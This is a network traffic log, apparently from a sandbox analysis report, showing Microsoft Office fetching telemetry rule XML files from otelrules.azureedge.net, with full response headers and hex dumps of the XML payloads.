Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:38 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:39 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:38 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213438Z-1777c6cb754rz2pghC1TEBghen0000000beg00000000xw9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:39 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:38 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:39 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:39 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: c2530309-f01e-0099-202e-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213439Z-178bfbc474bscnbchC1NYCe7eg000000023000000000xehu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:39 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:39 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:40 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:39 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: fa1269cf-b01e-003d-7592-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213439Z-15b8b599d885ffrhhC1TEBtuv000000000f000000000bf73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:40 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:40 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:40 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:40 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 11574f01-801e-0067-6559-3cfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213440Z-174c587ffdfcj798hC1TEB9bq400000000m000000000u256 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:40 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:40 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:41 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:41 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c363d474-d01e-0028-1b8c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213441Z-1777c6cb754lv4cqhC1TEB13us0000000bp000000000f5ea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:41 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:41 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:41 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:41 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b43d4aba-301e-0020-1845-3c6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213441Z-15b8b599d88phfhnhC1TEBr51n00000000qg0000000059qg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:41 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:41 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:41 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:41 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213441Z-178bfbc474bv7whqhC1NYC1fg4000000022g00000000ak45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:41 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:41 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:42 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:42 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 3272c5ec-601e-003d-7d76-3b6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213442Z-1777c6cb754rz2pghC1TEBghen0000000beg00000000xwgw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:42 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:42 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:42 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:42 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: dcdca57e-b01e-003e-0dcb-3b8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213442Z-15b8b599d885v8r9hC1TEB104g00000000d0000000008zuz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:42 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:42 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:43 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:43 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 9aa8fa60-a01e-001e-5131-3c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213443Z-178bfbc474bgvl54hC1NYCsfuw000000020000000000mt2y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:43 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:43 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:43 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:43 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213443Z-178bfbc474brk967hC1NYCfu6000000001rg000000010fc4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:43 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:43 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:43 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:43 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 529557e1-c01e-0079-5045-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213443Z-15b8b599d8885prmhC1TEBsnkw00000000g000000000f92d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
